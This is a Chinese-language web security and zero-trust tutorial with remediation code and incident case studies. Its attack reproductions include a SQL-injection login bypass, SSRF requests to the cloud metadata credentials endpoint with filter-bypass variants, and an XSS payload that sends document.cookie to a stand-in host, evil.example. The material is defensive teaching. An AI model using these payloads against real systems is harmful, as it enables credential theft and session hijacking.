主题
Web 安全与零信任
一句话:Web 安全不是一张漏洞清单,而是沿着「不可信输入 → 敏感操作」的路径设置不依赖调用方自觉的强制检查;零信任把这条路径从边界扩展到每一个请求。
适用版本:OWASP Top 10(2021)、OAuth 2.1 草案、Kubernetes 1.25+、Trivy 0.5x+、cosign 2.x。命令参数与策略字段以官方文档为准。
为什么需要
边界防护的假设是「内网可信」,但横向移动、云元数据、供应链投毒都证明这个假设不成立。应用层漏洞的根因通常只有三类:
- 混淆数据与指令:用户输入被当成 SQL、HTML、命令或 URL 的一部分执行(注入、XSS)。
- 把客户端当可信:权限判断依赖前端隐藏、用户 ID 由客户端传、服务端不校验归属(越权)。
- 隐式信任网络位置或第三方:内网默认可达、回调地址不校验、依赖不固定版本(SSRF、CSRF、供应链)。
修复思路也对应三条:让数据和指令分离、把授权判断放回服务端、默认拒绝并显式放行。
核心机制
注入:让数据永远只是数据
最小复现(登录绕过):输入 username = admin' --,拼出的 SQL 变成 SELECT ... WHERE username='admin' --' AND password='...',-- 之后全被注释,密码条件消失。修复是参数化查询,让 SQL 模板先编译、用户输入只作为值绑定:
java
// MyBatis:#{} 走 PreparedStatement;${} 是字符串替换,不能接用户输入
@Select("SELECT id, name FROM users WHERE username = #{username}")
User findByUsername(@Param("username") String username);数据库账号只给需要的库表权限;表名、排序列这类无法参数化的部分用白名单映射,不要直接拼 ${}。命令注入同理:不要把用户输入交给 shell 拼接,用 execve 数组形式;NoSQL 注入则要拒绝对象/操作符类型的输入,只接受标量。
越权:权限判断必须在服务端
最小复现(水平越权/IDOR):用户 1001 的令牌请求 GET /api/orders/1002,服务端只校验令牌有效、没校验订单归属,于是 1001 读到了 1002 的订单。垂直越权则是普通用户直接调用 /api/admin/users。
修复分两层:查询条件强制带归属(WHERE id=? AND owner_id=?),以及集中式策略做动作级判断(RBAC/ABAC)。默认拒绝,未显式授权的接口一律 403;不要依赖前端隐藏按钮,也不要用「查不到就返回空」掩盖越权。验收用例必须包含「换成他人 ID」和「跨租户查询」。
SSRF:黑名单为什么拦不住
最小复现:
http
POST /api/fetch {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}攻击者让服务端替自己访问内网或云元数据。只做字符串黑名单会被这些变体绕过:
| 变体 | 例子 | 绕过点 |
|---|---|---|
| 十进制/八进制/十六进制 IP | http://2852039166/、http://0177.0.0.1/ | 解析器接受非点分十进制 |
| IPv6 映射 | http://[::ffff:169.254.169.254]/ | 只检查 IPv4 网段 |
| 用户信息混淆 | http://allowed.com@169.254.169.254/ | 只做字符串前缀匹配 |
| DNS rebinding | 第一次解析到公网,连接时解析到内网 | 校验和连接用了两次 DNS |
| 302 重定向 | 白名单域名跳转到内网地址 | 只校验初始 URL |
组合修复是「先解析、再校验所有结果 IP、连接时固定该 IP、禁止重定向、出网默认拒绝」,单靠任何一条都不够:
python
import ipaddress, socket
from urllib.parse import urlparse
ALLOWED_HOSTS = {"api.example.com"}
def resolve_and_check(url: str) -> str:
u = urlparse(url)
if u.scheme not in ("http", "https"):
raise ValueError("只允许 http/https")
if u.hostname not in ALLOWED_HOSTS: # 域名白名单,不是后缀匹配
raise ValueError("host 不在白名单")
port = u.port or (443 if u.scheme == "https" else 80)
infos = socket.getaddrinfo(u.hostname, port, proto=socket.IPPROTO_TCP)
for info in infos: # 校验全部 A/AAAA,不只看第一条
ip = ipaddress.ip_address(info[4][0])
if not ip.is_global: # 私网/回环/链路本地/保留地址
raise ValueError(f"目标 IP 不可出网: {ip}")
return infos[0][4][0] # 连接时固定该 IP注意校验和连接必须使用同一次解析结果,否则 DNS rebinding 仍可绕过;工程上更稳的是把出站收敛到受控代理/网关,由它做域名白名单、IP 校验和重定向再校验。HTTP 客户端显式 allow_redirects=False,必须跟随 302 时对每一跳重新执行同一套校验。云上再叠加出站安全组、K8s NetworkPolicy、禁用或限制 IMDS(AWS 启用 IMDSv2 并限制 hop limit)。
XSS:输出编码是主防线
最小复现(存储型):评论区提交 <img src=x onerror=fetch('//evil.example/'+document.cookie)>,其他用户打开页面即执行。
修复按上下文编码:HTML 文本、属性、JS、URL 各有不同编码规则,模板引擎默认转义不要关;富文本用白名单 sanitizer,不要用正则黑名单。CSP 作纵深防御:Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-<随机值>'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'。内联脚本改用 nonce,避免 unsafe-inline;Cookie 加 HttpOnly 让 XSS 拿不到会话;前端避免 innerHTML/dangerouslySetInnerHTML,需要时用 Trusted Types。输入校验只能减少入口,不能替代输出编码。
CSRF:浏览器自动带 Cookie 才是问题
最小复现:用户已登录银行,访问恶意页面,页面用隐藏表单自动 POST https://bank.example/transfer(to=attacker&amount=10000);浏览器自动带上银行 Cookie,服务端以为是用户操作。修复组合:会话 Cookie 设 SameSite=Lax(或 Strict)+ Secure;状态变更接口校验 CSRF Token(与会话绑定、常量时间比较);校验 Origin/Referer;不要用 GET 做写操作。JWT 放 Authorization Header 时不会被浏览器自动附带,天然规避 CSRF,但若把令牌放 Cookie,就仍要按 CSRF 防护。
供应链:信任要落到版本和签名
最小复现是依赖混淆:内部包 @corp/utils 未限制私有 registry,CI 从公共源拉到同名恶意包;或锁文件缺失时 npm install 自动升级到被投毒版本。风险还包括 typosquatting、维护者账号被劫持、传递依赖带漏洞、CI 密钥泄露、镜像被替换。修复不是「上线前扫一次」,而是把约束写进流水线:提交锁文件并用 npm ci/pip install --require-hashes 安装;依赖 SCA 持续比对 CVE;镜像用 digest 固定并签名;CI token 最小权限,禁止 curl | sh 和不必要的安装脚本。
bash
# Trivy 0.5x / cosign 2.x:高危直接阻断构建,并校验镜像签名
trivy image --severity HIGH,CRITICAL --exit-code 1 registry.example.com/app:1.2.3
cosign verify --key cosign.pub registry.example.com/app@sha256:<digest>零信任:四个可落地动作
零信任不是「买一个产品」,而是把「默认不信任网络位置」翻译成四个能验收的动作:
- 身份:每个请求都带可验证身份。人走 OIDC + MFA;服务间用 mTLS/SPIFFE 或短生命周期令牌,不用「在内网所以放行」。
- 设备:接入前检查设备状态(MDM 合规、磁盘加密、EDR 在线、证书由 TPM 托管);不合规设备降权或只允许访问隔离区,而不是直接放行。
- 最小权限:默认拒绝,按服务/接口显式放行;数据库只接受 API 层连接;凭据用 Vault 动态生成、短 TTL,按需申请而不是长期共享。
- 持续校验:每次请求重新评估身份、设备、位置、行为风险;高风险操作触发二次认证;会话可即时撤销,审计日志能还原 who/what/when。
落地结构是 PEP(网关/Envoy/Sidecar)拦截,PDP(OPA/Casbin)决策,PIP(身份、设备、威胁情报)提供上下文。没有持续校验,前三个动作只是一次性门禁。
实战场景
一、一个“抓取外链封面”功能,泄露了云主机 IAM 凭据
现象:安全团队在一次红队演练中,用一个普通账号提交 {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"} 到内容发布的“外链封面抓取”接口,拿到了实例角色的临时凭据,随后用该凭据读到了对象存储里的其他租户数据。研发的第一反应是“我们已经校验了 URL 不以 10.、192.168. 开头”。
排查:字符串黑名单必被绕过,绕过点固定集中在五类。
| 变体 | 例子 | 绕过点 |
|---|---|---|
| 十进制/八进制/十六进制 IP | http://2852039166/、http://0177.0.0.1/ | 解析器接受非点分十进制 |
| IPv6 映射 | http://[::ffff:169.254.169.254]/ | 只检查了 IPv4 网段 |
| 用户信息混淆 | http://allowed.com@169.254.169.254/ | 前缀/后缀字符串匹配被绕开 |
| DNS rebinding | 第一次解析到公网、连接时解析到内网 | 校验与连接用了两次 DNS |
| 302 重定向 | 白名单域名跳转到内网 | 只校验初始 URL |
| 定位层 | 取证据 | 判定 |
|---|---|---|
| 出站目标 | 云元数据访问日志、VPC 流日志里的 169.254.169.254 | 命中即已发生 |
| 凭据暴露面 | 实例角色权限与实际读取的桶/前缀 | 决定影响范围 |
| 校验实现 | 代码里是字符串前缀/后缀匹配还是解析后校验 IP | 前者等于没校验 |
| 重定向策略 | HTTP 客户端是否 allow_redirects=True | 跟随跳转会把白名单变成入口 |
| 网络出口 | 该服务是否有默认出网能力 | 有则 SSRF 是必然可达 |
对症做法:
python
# 组合修复:先解析 → 校验全部结果 IP → 连接时固定该 IP → 禁止重定向 → 出网默认拒绝
ALLOWED_HOSTS = {"api.example.com"} # 精确域名白名单,不做后缀匹配
def safe_target(url: str) -> str:
u = urlparse(url)
if u.scheme not in ("http", "https"):
raise ValueError("只允许 http/https")
if u.hostname not in ALLOWED_HOSTS:
raise ValueError("host 不在白名单")
port = u.port or (443 if u.scheme == "https" else 80)
infos = socket.getaddrinfo(u.hostname, port, proto=socket.IPPROTO_TCP)
for info in infos: # 校验所有 A/AAAA,不只看第一条
ip = ipaddress.ip_address(info[4][0])
if not ip.is_global: # 私网/回环/链路本地/保留段全部拒绝
raise ValueError(f"目标 IP 不可出网: {ip}")
return infos[0][4][0] # 返回固定 IP,连接时不再解析 DNStext
1. 连接层固定 IP(自己建 socket 或用支持 pinning 的 HTTP 客户端),
否则 DNS rebinding 仍能在“校验之后”换成内网地址。
2. 禁止跟随重定向;确需跟随的,每一跳都重新执行上面的校验。
3. 网络侧兜底:出网走 egress 代理 + NetworkPolicy 默认拒绝,
实例元数据服务限制访问(IMDSv2 + hop 限制,或直接用 IRSA/Workload Identity 免凭据)。
4. 角色最小权限:抓取服务所用的实例角色不应能读任意桶前缀。
5. 泄露后的正确处置顺序是“吊销并轮换凭据 → 查访问日志确认影响面”,
只删掉这段代码不等于止损。复盘要点:判据是“该服务无法对任何内网地址建立 TCP 连接”——用一条越权测试直接验证:提交内网目标,断言失败且网络侧有拒绝记录。SSRF 的修复必须是多层同时生效,任何单层(应用校验、白名单、网络策略)单独拿出都会被绕过,这也是它反复出现在渗透报告首位的原因。
二、令牌有效但没校验归属:一次水平越权拖出三个租户
现象:客服后台支持按订单号查询详情,接口 GET /api/orders/{id} 只校验了 JWT 签名与有效期。攻击者用自有账号枚举订单号(订单号自增,可预测),批量拉取了 1.8 万条订单的收件人姓名与地址,三天后才因异常流量被发现。
排查:认证回答“你是谁”,授权回答“这个对象你能不能碰”,两者不能互替。
| 定位层 | 取证据 | 判定 |
|---|---|---|
| 查询是否带归属 | SQL 里有没有 owner_id/tenant_id 条件 | 只按 id 查即命中 |
| 权限判断位置 | 是否在网关只看路径、服务内不看数据 | 网关通过≠对象级授权通过 |
| 越权返回形态 | 无权限时返回 403 还是“查不到返回空” | 用空结果掩盖越权,问题会重复出现 |
| 对象 ID 形态 | 自增可预测 ID 放大枚举成本 | 换成不可枚举 ID 只是缓解,不是授权 |
| 审计记录 | 是否有“按 id 批量遍历”的行为日志 | 缺日志导致发现延迟数天 |
| 策略变更 | 最近是否有人改过角色或 ABAC 规则 | 403 集中出现时优先查这一项 |
对症做法:
java
// 1. 数据层强制归属:查询条件带 owner/tenant,而不是查完再判断
@Select("SELECT * FROM orders WHERE id = #{id} AND tenant_id = #{tenantId} AND owner_id = #{ownerId}")
Order loadOwned(@Param("id") long id, @Param("tenantId") long tenantId, @Param("ownerId") long ownerId);
// 影响行数 0 → 403/404,且这条路径要能区分“不存在”和“不属于你”用于审计
// 2. 集中式策略做动作级判断,默认拒绝:未显式授权的接口一律 403
if (!policy.can(principal, "order.read", resourceRef.of(id))) throw new ForbiddenException();text
3. 网关做粗粒度(路径/角色),服务做对象级(归属/状态/数据范围),两层都要有;
不要依赖前端隐藏按钮,也不要把授权写在控制器方法里的 if 中散落各处。
4. 验收用例固定两条:换成他人 ID、跨租户查询,两者都必须失败且有审计记录。
5. 批量异常行为要能发现:
同一 principal 对同一资源的顺序遍历速率超阈值(例如 5 分钟 > 200 次)即告警。
6. 敏感字段按最小必要返回:
列表接口不返回收件人完整姓名与地址,脱敏在出口层统一做。复盘要点:判据是“所有按 ID 访问的接口都有对象级授权测试覆盖”,覆盖率可以静态扫描(按路由清单核对用例)。把“查不到就返回空”列为禁止写法:它把越权伪装成不存在,既误导排查也让攻击者可以低成本试探。相关认证链路见 OAuth2 与认证鉴权。
三、内网默认可信:一个被控 Pod 横向摸到支付服务
现象:某数据分析 Pod 被通过一个反序列化漏洞拿下。攻击者在同网段内自由访问支付服务的 8080 端口——它的鉴权只信任“来自网关的头”,而内网直连时这个头可以随便伪造;随后又用镜像里遗留的 AK/SK 访问了配置中心。整个过程没有触发任何告警,因为“内网流量”从来不在审计范围内。
排查:零信任的落点是每次调用都要有身份、权限和策略判定。
| 缺口 | 现场表现 | 判定证据 |
|---|---|---|
| 服务间无强身份 | 任意 Pod 可直连支付服务端口 | 抓包看是否有 mTLS/签名;服务是否校验来源 |
| 只信网关注入的头 | 内网直连即可绕过鉴权 | 服务代码里是否无条件信任 X-User-Id |
| 凭据静态化 | 镜像/环境变量里有长期 AK/SK | 镜像层扫描与配置仓库 |
| 网络默认可达 | 无 NetworkPolicy / 出网不限 | 安全组与策略导出 |
| 审计只覆盖入口 | 东西向流量无日志 | 采集范围配置 |
| 权限过宽 | 分析服务能调支付接口 | 服务身份对应的权限清单 |
对症做法:
yaml
# 1. 东西向默认拒绝:只放行“调用方身份 + 目标端口”的显式组合
kind: NetworkPolicy
spec:
podSelector: { matchLabels: { app: payment-service } }
policyTypes: [Ingress]
ingress:
- from: [{ podSelector: { matchLabels: { app: api-gateway } } }]
ports: [{ port: 8080 }]text
2. 服务身份用可轮换的短时凭证(Workload Identity / SPIFFE 类 SVID),
由 mTLS 或签名请求头承载,并在服务内校验 audience/issuer 与调用方身份,
而不是信任一个可伪造的明文头。
3. 凭据不进镜像与配置仓库:
用 KMS/Vault 注入 + 定期轮换;镜像扫描(trivy)阻断高危与含密钥的层。
4. 审计要覆盖登录、授权变更、敏感数据访问与批量导出,
东西向流量同样纳入;告警看比例和基线,不只看总量。
5. 泄露处理顺序固定:吊销并轮换 → 查访问日志定影响面 → 修代码 → 复扫验证。
删代码不等于止损,凭据在镜像层里被拉走过就不会自己消失。java
// 服务内校验调用方身份,不信任可伪造的明文头
if (!mtlsVerifier.matches(exchange, "spiffe://cluster/ns/pay/sa/order-service")) {
audit.deny("unverified-caller", callerIp(exchange));
throw new ForbiddenException();
}复盘要点:判据是“从任意非授权 Pod 直连核心服务端口的连通性测试失败”,这条要能在生产环境里跑(用一次性测试 Pod)。零信任的代价是每次调用多一次校验与一套凭据轮换流程,因此要按敏感度分层:支付、账务、配置中心这类入口必须双向校验与最小权限,普通只读服务可以先只做网络分区。WAF 只能降低已知攻击的成功率,不能替代参数化查询、输出编码和服务端授权。
最小上手
用 NetworkPolicy 做默认拒绝 + 显式放行(需要 Calico/Cilium 等支持策略的 CNI,kube-proxy 默认不强制执行):
yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: {name: mysql-only-from-api, namespace: app}
spec:
podSelector: {matchLabels: {app: mysql}}
policyTypes: [Ingress]
ingress:
- from: [{podSelector: {matchLabels: {app: api-server}}}]
ports: [{protocol: TCP, port: 3306}]验证:kubectl apply -f netpol.yaml;从 api-server 连 3306 应成功,从其他 Pod 执行 curl -m 3 telnet://mysql:3306 应超时;再补一条 default-deny 的 egress 策略,只放行 DNS 和必要出站。curl -sI https://app.example.com | grep -i content-security-policy 应返回 CSP。
生产动作
- 403 集中出现 → 解 token 的
sub/租户 claims,对照策略变更记录 → 权限策略回滚或对象级校验漏配。 - 出站异常 → 看 NetworkPolicy 拒绝日志与应用出站日志 → 目标是内网段/
169.254.169.254/file://时按 SSRF 处置。 - XSS 告警 → 查 CSP report 与 WAF 规则命中 → 先修输出编码,别只加 WAF 规则。
- 镜像漏洞或凭据泄露 →
trivy image重扫、查 CI 日志与镜像层 → 高危阻断发布;泄露立即轮换吊销,删代码不等于止损。
WAF 只能降低已知攻击的成功率,不能替代参数化查询、输出编码和服务端授权。审计要覆盖登录、授权变更、敏感数据访问和批量导出;告警看比例和基线,不只看总量。
边界
- WAF 可绕过:编码、分块、协议解析差异都能绕;它适合做纵深防御和攻击面观测,不适合当唯一修复。
- CSP 和 SameSite 都会配错:
unsafe-inline、只开 report-only 会让 CSP 失效;SameSite 挡不住同站 XSS 和顶级导航的 GET,写操作仍要 CSRF Token 与 Origin 校验。 - IP 黑名单永远滞后:SSRF 的主防线是出网白名单和受控代理,IP 段校验只是兜底。
- 零信任不修复漏洞:它限制横向移动和凭据滥用,但一个存在 SQL 注入的应用在零信任里仍然是注入点;供应链扫描也只覆盖已知 CVE,锁文件、签名和最小权限 CI 要一起上。
讲清楚
Web 安全可以沿着一条数据路径理解:用户输入进入系统,经过解析、授权、外发,最后到浏览器执行。注入和 XSS 是「数据被当成指令」,修法是参数化查询和上下文输出编码;越权是「服务端把客户端当可信」,修法是把归属和动作判断放回服务端;SSRF 是「服务端替攻击者出网」,黑名单会被十进制 IP、IPv6、DNS rebinding 和重定向绕过,必须解析后校验全部 IP、连接时固定、禁止重定向并做出网白名单;CSRF 利用浏览器自动带 Cookie,靠 SameSite、CSRF Token 和 Origin 校验。零信任则把同样的思路扩展到每个请求:有身份、看设备、最小权限、持续校验,用 PEP/PDP/PIP 落地。安全不是加一个设备,而是让每个强制检查都不依赖调用方自觉。